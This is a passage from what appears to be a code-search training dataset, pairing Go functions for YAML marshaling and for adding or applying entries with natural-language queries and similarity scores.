{\\n\\tconst mediaType = runtime.ContentTypeYAML\\n\\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\\n\\tif !ok {\\n\\t\\treturn []byte{}, errors.Errorf(\\\"unsupported media type %q\\\", mediaType)\\n\\t}\\n\\n\\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\\n\\treturn runtime.Encode(encoder, obj)\\n}\",\n \"func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyReadUntilConfig{\\n\\t\\tInput: r.Input,\\n\\t\\tRestart: r.Restart,\\n\\t\\tCheck: r.Check,\\n\\t}\\n\\tif r.Input == nil {\\n\\t\\tdummy.Input = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (r Discriminator) MarshalYAML() (interface{}, error) {\\n\\tobj := make(map[string]interface{})\\n\\n\\tobj[\\\"propertyName\\\"] = r.PropertyName\\n\\n\\tif len(r.Mapping) > 0 {\\n\\t\\tobj[\\\"mapping\\\"] = r.Mapping\\n\\t}\\n\\n\\treturn obj, nil\\n}\",\n \"func (v *VersionInfo) MarshalYAML() (interface{}, error) {\\n\\n\\treturn &struct {\\n\\t\\tSemVer string `yaml:\\\"semver\\\"`\\n\\t\\tShaLong string `yaml:\\\"shaLong\\\"`\\n\\t\\tBuildTimestamp int64 `yaml:\\\"buildTimestamp\\\"`\\n\\t\\tBranch string `yaml:\\\"branch\\\"`\\n\\t\\tArch string `yaml:\\\"arch\\\"`\\n\\t}{\\n\\t\\tSemVer: v.SemVer,\\n\\t\\tShaLong: v.ShaLong,\\n\\t\\tBuildTimestamp: v.BuildTimestamp.Unix(),\\n\\t\\tBranch: v.Branch,\\n\\t\\tArch: v.Arch,\\n\\t}, nil\\n}\",\n \"func Marshal(o interface{}) ([]byte, error) {\\n\\tj, err := json.Marshal(o)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error marshaling into JSON: %v\\\", err)\\n\\t}\\n\\n\\ty, err := JSONToYAML(j)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error converting JSON to YAML: %v\\\", err)\\n\\t}\\n\\n\\treturn y, nil\\n}\",\n \"func ToYAML(v interface{}) ([]byte, error) {\\n\\treturn yaml.Marshal(v)\\n}\",\n \"func (p *ServiceDefinition) Marshal() (string, error) {\\n\\toutput, err := yaml.Marshal(p)\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\treturn string(output), nil\\n}\",\n \"func (date Date) MarshalYAML() (interface{}, error) {\\n\\tvar d = string(date)\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn d, nil\\n}\",\n \"func (v *Uint16) MarshalYAML() (interface{}, error) {\\n\\tif v.IsAssigned {\\n\\t\\treturn v.Val, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\\n\\td, err := yaml.Marshal(&m)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(d), nil\\n}\",\n \"func (c *Config) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(c)\\n}\",\n \"func (s String) MarshalYAML() (interface{}, error) {\\n\\tif !s.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn s.value, nil\\n}\",\n \"func (d DurationMinutes) MarshalYAML() (interface{}, error) {\\n\\tif !d.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn int(d.value / time.Minute), nil\\n}\",\n \"func SortYAML(in io.Reader, out io.Writer, indent int) error {\\n\\n\\tincomingYAML, err := ioutil.ReadAll(in)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"can't read input: %v\\\", err)\\n\\t}\\n\\n\\tvar hasNoStartingLabel bool\\n\\trootIndent, err := detectRootIndent(incomingYAML)\\n\\tif err != nil {\\n\\t\\tif !errors.Is(err, ErrNoStartingLabel) {\\n\\t\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\t\\treturn fmt.Errorf(\\\"can't detect root indentation: %v\\\", err)\\n\\t\\t}\\n\\n\\t\\thasNoStartingLabel = true\\n\\t}\\n\\n\\tif hasNoStartingLabel {\\n\\t\\tincomingYAML = append([]byte(CustomLabel+\\\"\\\\n\\\"), incomingYAML...)\\n\\t}\\n\\n\\tvar value map[string]interface{}\\n\\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\n\\t\\treturn fmt.Errorf(\\\"can't decode YAML: %v\\\", err)\\n\\t}\\n\\n\\tvar outgoingYAML bytes.Buffer\\n\\tencoder := yaml.NewEncoder(&outgoingYAML)\\n\\tencoder.SetIndent(indent)\\n\\n\\tif err := encoder.Encode(&value); err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\treturn fmt.Errorf(\\\"can't re-encode YAML: %v\\\", err)\\n\\t}\\n\\n\\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\\n\\tif err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\treturn fmt.Errorf(\\\"can't re-indent YAML: %v\\\", err)\\n\\t}\\n\\n\\tfmt.Fprint(out, reindentedYAML)\\n\\treturn nil\\n}\",\n \"func (s String) MarshalYAML() (interface{}, error) {\\n\\tif len(string(s)) == 0 || string(s) == `\\\"\\\"` {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn string(s), nil\\n}\",\n \"func (vm ValidationMap) AsYAML() (string, error) {\\n\\tdata, err := yaml.Marshal(vm)\\n\\treturn string(data), err\\n}\",\n \"func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: bva.AccountNumber,\\n\\t\\tPubKey: getPKString(bva),\\n\\t\\tSequence: bva.Sequence,\\n\\t\\tOriginalVesting: bva.OriginalVesting,\\n\\t\\tDelegatedFree: bva.DelegatedFree,\\n\\t\\tDelegatedVesting: bva.DelegatedVesting,\\n\\t\\tEndTime: bva.EndTime,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func Marshal(ctx context.Context, obj interface{}, paths ...string) (string, error) {\\n\\trequestYaml, err := yaml.MarshalContext(ctx, obj)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tfile, err := parser.ParseBytes(requestYaml, 0)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// normalize the structure converting the byte slice fields to string\\n\\tfor _, path := range paths {\\n\\t\\tpathString, err := yaml.PathString(path)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t\\tvar byteSlice []byte\\n\\t\\terr = pathString.Read(strings.NewReader(string(requestYaml)), &byteSlice)\\n\\t\\tif err != nil && !errors.Is(err, yaml.ErrNotFoundNode) {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t\\tif err := pathString.ReplaceWithReader(file,\\n\\t\\t\\tstrings.NewReader(string(byteSlice)),\\n\\t\\t); err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t}\\n\\n\\treturn file.String(), nil\\n}\",\n \"func (s *Schema) ToYAML() ([]byte, error) {\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: va.AccountNumber,\\n\\t\\tPubKey: getPKString(va),\\n\\t\\tSequence: va.Sequence,\\n\\t\\tOriginalVesting: va.OriginalVesting,\\n\\t\\tDelegatedFree: va.DelegatedFree,\\n\\t\\tDelegatedVesting: va.DelegatedVesting,\\n\\t\\tEndTime: va.EndTime,\\n\\t\\tStartTime: va.StartTime,\\n\\t\\tVestingPeriods: va.VestingPeriods,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func RunYaml(cmd *cobra.Command, args []string) {\\n\\tc := LoadOperatorConf(cmd)\\n\\tp := printers.YAMLPrinter{}\\n\\tutil.Panic(p.PrintObj(c.NS, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.SA, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.Role, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.RoleBinding, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.SAEndpoint, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.RoleEndpoint, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.RoleBindingEndpoint, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.ClusterRole, os.Stdout))\\n\\tutil.Panic(p.PrintObj(c.ClusterRoleBinding, os.Stdout))\\n\\tnoDeploy, _ := cmd.Flags().GetBool(\\\"no-deploy\\\")\\n\\tif !noDeploy {\\n\\t\\tutil.Panic(p.PrintObj(c.Deployment, os.Stdout))\\n\\t}\\n}\",\n \"func toYAML(v interface{}) string {\\n\\tdata, err := yaml.Marshal(v)\\n\\tif err != nil {\\n\\t\\t// Swallow errors inside of a template.\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\treturn strings.TrimSuffix(string(data), \\\"\\\\n\\\")\\n}\",\n \"func (d *Dataset) YAML() (string, error) {\\n\\tback := d.Dict()\\n\\n\\tb, err := yaml.Marshal(back)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(b), nil\\n}\",\n \"func TestYAML(t *testing.T) {\\n\\tyamls := []string{\\n\\t\\tnamespaceYAMLTemplate,\\n\\t\\topenShiftSCCQueryYAMLTemplate,\\n\\t\\tcustomResourceDefinitionYAMLv1,\\n\\t}\\n\\tfor i, yamlData := range yamls {\\n\\t\\t// jsonData, err := yaml.YAMLToJSON([]byte(yamlData))\\n\\t\\t_, err := yaml.YAMLToJSON([]byte(yamlData))\\n\\t\\tif err != nil {\\n\\t\\t\\tt.Fatalf(\\\"expected constant %v to be valid YAML\\\", i)\\n\\t\\t}\\n\\t\\t// fmt.Printf(\\\"json: %v\\\", string(jsonData))\\n\\t}\\n}\",\n \"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar addRaw opAddRaw\\n\\terr := unmarshal(&addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func toYamlString(resource interface{}) string {\\n\\tdata, err := yaml.Marshal(resource)\\n\\tif err != nil {\\n\\t\\treturn err.Error()\\n\\t}\\n\\treturn string(data)\\n}\",\n \"func (d DurationMillis) MarshalYAML() (interface{}, error) {\\n\\tif !d.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn int(d.value / time.Millisecond), nil\\n}\",\n \"func (v Values) YAML() (string, error) {\\n\\tb, err := yaml.Marshal(v)\\n\\treturn string(b), err\\n}\",\n \"func (s SensitiveString) MarshalYAML() (interface{}, error) {\\n\\treturn s.String(), nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7026864","0.69467264","0.6911066","0.68808496","0.6858217","0.67913705","0.67124516","0.6663839","0.66309625","0.6528727","0.65148884","0.64881617","0.64869624","0.64519477","0.6439299","0.6438476","0.6421638","0.6419201","0.64158183","0.6402723","0.6402723","0.639309","0.6380078","0.6343673","0.63424945","0.63386756","0.633298","0.6314868","0.6305636","0.6305636","0.6302812","0.6300555","0.63003254","0.6299024","0.6291035","0.6278837","0.6274473","0.6274473","0.6223114","0.6203032","0.6199917","0.6169554","0.616874","0.6162514","0.61557025","0.6148514","0.6124712","0.6116719","0.6109687","0.61044914","0.6093537","0.6077035","0.6063988","0.6058892","0.60530686","0.6047914","0.6046455","0.60409826","0.60022604","0.6000437","0.600018","0.59892493","0.59871376","0.5985087","0.594428","0.5907819","0.58625627","0.5844023","0.5839831","0.5834746","0.5827708","0.5776981","0.5770588","0.57563543","0.56974185","0.56954694","0.5673347","0.56529325","0.5649113","0.5590763","0.55663973","0.55536926","0.55249405","0.5497144","0.54730844","0.54612607","0.545649","0.5451517","0.54391223","0.5434765","0.54292566","0.5423396","0.5422428","0.54215723","0.54215014","0.5419778","0.5413556","0.5409701","0.5378071","0.53764504"],"string":"[\n \"0.7026864\",\n \"0.69467264\",\n \"0.6911066\",\n \"0.68808496\",\n \"0.6858217\",\n \"0.67913705\",\n \"0.67124516\",\n \"0.6663839\",\n \"0.66309625\",\n \"0.6528727\",\n \"0.65148884\",\n \"0.64881617\",\n \"0.64869624\",\n \"0.64519477\",\n \"0.6439299\",\n \"0.6438476\",\n \"0.6421638\",\n \"0.6419201\",\n \"0.64158183\",\n \"0.6402723\",\n \"0.6402723\",\n \"0.639309\",\n \"0.6380078\",\n \"0.6343673\",\n \"0.63424945\",\n \"0.63386756\",\n \"0.633298\",\n \"0.6314868\",\n \"0.6305636\",\n \"0.6305636\",\n \"0.6302812\",\n \"0.6300555\",\n \"0.63003254\",\n \"0.6299024\",\n \"0.6291035\",\n \"0.6278837\",\n \"0.6274473\",\n \"0.6274473\",\n \"0.6223114\",\n \"0.6203032\",\n \"0.6199917\",\n \"0.6169554\",\n \"0.616874\",\n \"0.6162514\",\n \"0.61557025\",\n \"0.6148514\",\n \"0.6124712\",\n \"0.6116719\",\n \"0.6109687\",\n \"0.61044914\",\n \"0.6093537\",\n \"0.6077035\",\n \"0.6063988\",\n \"0.6058892\",\n \"0.60530686\",\n \"0.6047914\",\n \"0.6046455\",\n \"0.60409826\",\n \"0.60022604\",\n \"0.6000437\",\n \"0.600018\",\n \"0.59892493\",\n \"0.59871376\",\n \"0.5985087\",\n \"0.594428\",\n \"0.5907819\",\n \"0.58625627\",\n \"0.5844023\",\n \"0.5839831\",\n \"0.5834746\",\n \"0.5827708\",\n \"0.5776981\",\n \"0.5770588\",\n \"0.57563543\",\n \"0.56974185\",\n \"0.56954694\",\n \"0.5673347\",\n \"0.56529325\",\n \"0.5649113\",\n \"0.5590763\",\n \"0.55663973\",\n \"0.55536926\",\n \"0.55249405\",\n \"0.5497144\",\n \"0.54730844\",\n \"0.54612607\",\n \"0.545649\",\n \"0.5451517\",\n \"0.54391223\",\n \"0.5434765\",\n \"0.54292566\",\n \"0.5423396\",\n \"0.5422428\",\n \"0.54215723\",\n \"0.54215014\",\n \"0.5419778\",\n \"0.5413556\",\n \"0.5409701\",\n \"0.5378071\",\n \"0.53764504\"\n]"},"document_score":{"kind":"string","value":"0.78069997"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106166,"cells":{"query":{"kind":"string","value":"Apply will perform the add operation on an entry"},"document":{"kind":"string","value":"func (op *OpAdd) Apply(e *entry.Entry) error {\n\tswitch {\n\tcase op.Value != nil:\n\t\terr := e.Set(op.Field, op.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase op.program != nil:\n\t\tenv := helper.GetExprEnv(e)\n\t\tdefer helper.PutExprEnv(env)\n\n\t\tresult, err := vm.Run(op.program, env)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"evaluate value_expr: %s\", err)\n\t\t}\n\t\terr = e.Set(op.Field, result)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\t// Should never reach here if we went through the unmarshalling code\n\t\treturn fmt.Errorf(\"neither value or value_expr are are set\")\n\t}\n\n\treturn nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (a *Add) Apply(data []byte) ([]byte, error) {\n\tinput := convert.SliceToMap(strings.Split(a.Path, \".\"), a.composeValue())\n\tvar event interface{}\n\tif err := json.Unmarshal(data, &event); err != nil {\n\t\treturn data, err\n\t}\n\n\tresult := convert.MergeJSONWithMap(event, input)\n\toutput, err := json.Marshal(result)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\n\treturn output, nil\n}","func (s *Set) Add(e *spb.Entry) error {\n\tif e == nil {\n\t\ts.addErrors++\n\t\treturn errors.New(\"entryset: nil entry\")\n\t} else if (e.Target == nil) != (e.EdgeKind == \"\") {\n\t\ts.addErrors++\n\t\treturn fmt.Errorf(\"entryset: invalid entry: target=%v/kind=%v\", e.Target == nil, e.EdgeKind == \"\")\n\t}\n\ts.addCalls++\n\tsrc := s.addVName(e.Source)\n\tif e.Target != nil {\n\t\ts.addEdge(src, edge{\n\t\t\tkind: s.enter(e.EdgeKind),\n\t\t\ttarget: s.addVName(e.Target),\n\t\t})\n\t} else {\n\t\ts.addFact(src, fact{\n\t\t\tname: s.enter(e.FactName),\n\t\t\tvalue: s.enter(string(e.FactValue)),\n\t\t})\n\t}\n\treturn nil\n}","func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (s *Store) Add(ctx context.Context, key interface{}, v json.Marshaler) error {\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tdefault:\n\t}\n\n\tb, err := v.MarshalJSON()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tdefault:\n\t}\n\n\tif _, ok := s.m[key]; ok {\n\t\treturn store.ErrKeyExists\n\t}\n\n\ts.m[key] = entry{data: b}\n\treturn nil\n}","func (c *EntryCache) add(e *Entry) error {\n\thashes, err := allHashes(e, c.hashes)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tif _, present := c.entries[e.name]; present {\n\t\t// log or fail...?\n\t\tc.log.Warning(\"[cache] Overwriting cache entry '%s'\", e.name)\n\t} else {\n\t\tc.log.Info(\"[cache] Adding entry for '%s'\", e.name)\n\t}\n\tc.entries[e.name] = e\n\tfor _, h := range hashes {\n\t\tc.lookupMap[h] = e\n\t}\n\treturn nil\n}","func (this *ObjectAdd) Apply(context Context, first, second, third value.Value) (value.Value, error) {\n\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\t// we don't overwrite\n\t_, exists := first.Field(field)\n\tif exists {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\t// SetField will remove if the attribute is missing, but we don't\n\t// overwrite anyway, so we might just skip now\n\tif third.Type() != value.MISSING {\n\t\trv := first.CopyForUpdate()\n\t\trv.SetField(field, third)\n\t\treturn rv, nil\n\t}\n\treturn first, nil\n}","func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}","func (s *Service) Add(r *http.Request, args *AddEntryArgs, result *AddResponse) error {\n\tif args.UserID == \"\" {\n\t\tresult.Message = uidMissing\n\t\treturn nil\n\t}\n\tentryType := args.Type\n\tif entryType == \"\" {\n\t\tresult.Message = \"Entry type is missing\"\n\t\treturn nil\n\t} else if (entryType != EntryTypePim) && (entryType != EntryTypeBookmark) && (entryType != EntryTypeOrg) {\n\t\tresult.Message = \"Unknown entry type\"\n\t\treturn nil\n\t}\n\tcontent := args.Content\n\tif content == \"\" {\n\t\tresult.Message = \"Empty content not allowed\"\n\t\treturn nil\n\t}\n\ts.Log.Infof(\"received '%s' entry: '%s'\", entryType, content)\n\n\tcoll := s.Session.DB(MentatDatabase).C(args.UserID)\n\n\tentry := Entry{}\n\tmgoErr := coll.Find(bson.M{\"content\": content}).One(&entry)\n\tif mgoErr != nil {\n\t\tif mgoErr.Error() == MongoNotFound {\n\t\t\tentry.Type = args.Type\n\t\t\tentry.Content = content\n\t\t\ttags := args.Tags\n\t\t\tif len(tags) > 0 {\n\t\t\t\tvar lowerTags []string\n\t\t\t\tfor _, tag := range tags {\n\t\t\t\t\tlowerTags = append(lowerTags, strings.ToLower(tag))\n\t\t\t\t}\n\t\t\t\ttags := lowerTags\n\t\t\t\tentry.Tags = tags\n\t\t\t}\n\t\t\tif args.Scheduled != \"\" {\n\t\t\t\tscheduled, err := time.Parse(DatetimeLayout, args.Scheduled)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tentry.Scheduled = scheduled\n\t\t\t}\n\t\t\tif args.Deadline != \"\" {\n\t\t\t\tdeadline, err := time.Parse(DatetimeLayout, args.Deadline)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tentry.Deadline = deadline\n\t\t\t}\n\n\t\t\tnow := time.Now()\n\t\t\tentry.AddedAt = now\n\t\t\tentry.ModifiedAt = now\n\n\t\t\tif args.Priority != \"\" {\n\t\t\t\trexp, err := regexp.Compile(\"\\\\#[A-Z]$\")\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err) // sentinel, should fail, because such error is predictable\n\t\t\t\t}\n\t\t\t\tif rexp.Match([]byte(args.Priority)) {\n\t\t\t\t\tentry.Priority = args.Priority\n\t\t\t\t} else {\n\t\t\t\t\tresult.Message = \"Malformed priority value\"\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif args.TodoStatus != \"\" {\n\t\t\t\tentry.TodoStatus = strings.ToUpper(args.TodoStatus)\n\t\t\t}\n\n\t\t\tif (PostMetadata{}) != args.Metadata {\n\t\t\t\tentry.Metadata = args.Metadata\n\t\t\t}\n\n\t\t\tentry.UUID = uuid.NewV4().String()\n\t\t\tmgoErr = coll.Insert(&entry)\n\t\t\tif mgoErr != nil {\n\t\t\t\ts.Log.Infof(\"failed to insert entry: %s\", mgoErr.Error())\n\t\t\t\tresult.Message = fmt.Sprintf(\"failed to insert entry: %s\", mgoErr.Error())\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tresult.Message = entry.UUID\n\t\t\treturn nil\n\t\t}\n\t\ts.Log.Infof(\"mgo error: %s\", mgoErr)\n\t\tresult.Message = fmt.Sprintf(\"mgo error: %s\", mgoErr)\n\t\treturn nil\n\t}\n\tresult.Message = \"Already exists, skipping\"\n\treturn nil\n}","func (r *Report) addEntry(key string, suppressedKinds []string, kind string, context int, diffs []difflib.DiffRecord, changeType string) {\n\tentry := ReportEntry{\n\t\tkey,\n\t\tsuppressedKinds,\n\t\tkind,\n\t\tcontext,\n\t\tdiffs,\n\t\tchangeType,\n\t}\n\tr.entries = append(r.entries, entry)\n}","func (s *Store) add(id string, e Entry) (err error) {\n\tutils.Assert(!utils.IsSet(e.ID()) || id == e.ID(), \"ID must not be set here\")\n\tif _, exists := (*s)[id]; exists {\n\t\treturn fmt.Errorf(\"Found multiple parameter definitions with id '%v'\", id)\n\t}\n\n\tif !utils.IsSet(e.ID()) {\n\t\te.setID(id)\n\t}\n\t(*s)[id] = e\n\treturn nil\n}","func (h Hook) apply(m *Meta) {\n\tm.Hooks = append(m.Hooks, h)\n}","func (s *State) Add(tx Transaction) error {\n\tif err := s.apply(tx); err != nil {\n\t\treturn err\n\t}\n\n\ts.txMempool = append(s.txMempool, tx)\n\n\treturn nil\n}","func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (l *RaftLog) addEntry(term uint64, data []byte) {\n\tnewEntry := pb.Entry{\n\t\tIndex: l.LastIndex() + 1,\n\t\tTerm: term,\n\t\tData: data,\n\t}\n\tl.entries = append(l.entries, newEntry)\n\tl.pendingEntries = append(l.pendingEntries, newEntry)\n}","func (f *File) Add(entry entry) {\n\tif err := doError(); err != nil {\n\t\tfmt.Println(err)\n\t}\n}","func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}","func (m *mEntry) AddAny(key string, val interface{}) Entry {\n\tfor i := range m.es {\n\t\tm.es[i] = m.es[i].AddAny(key, val)\n\t}\n\treturn m\n}","func (r Row) Add(e Entry) Row {\n\tif e.Size.Size() > r.W*r.H-r.C {\n\t\treturn r\n\t}\n\n\t// Interate over the part of the grid where the entry could be added\n\tfor j := 0; j < r.H-e.Size.H+1; j++ {\n\t\tfor i := 0; i < r.W-e.Size.W+1; i++ {\n\t\t\t// Iterate over the Entry\n\t\t\tif r.Coverage.empty(e.Size.W, e.Size.H, i, j) {\n\t\t\t\tr.Entries = append(r.Entries, e.Pos(i, j))\n\t\t\t\tr.C += e.Size.Size()\n\t\t\t\tr.Coverage.fill(e.Size.W, e.Size.H, i, j)\n\t\t\t\treturn r\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 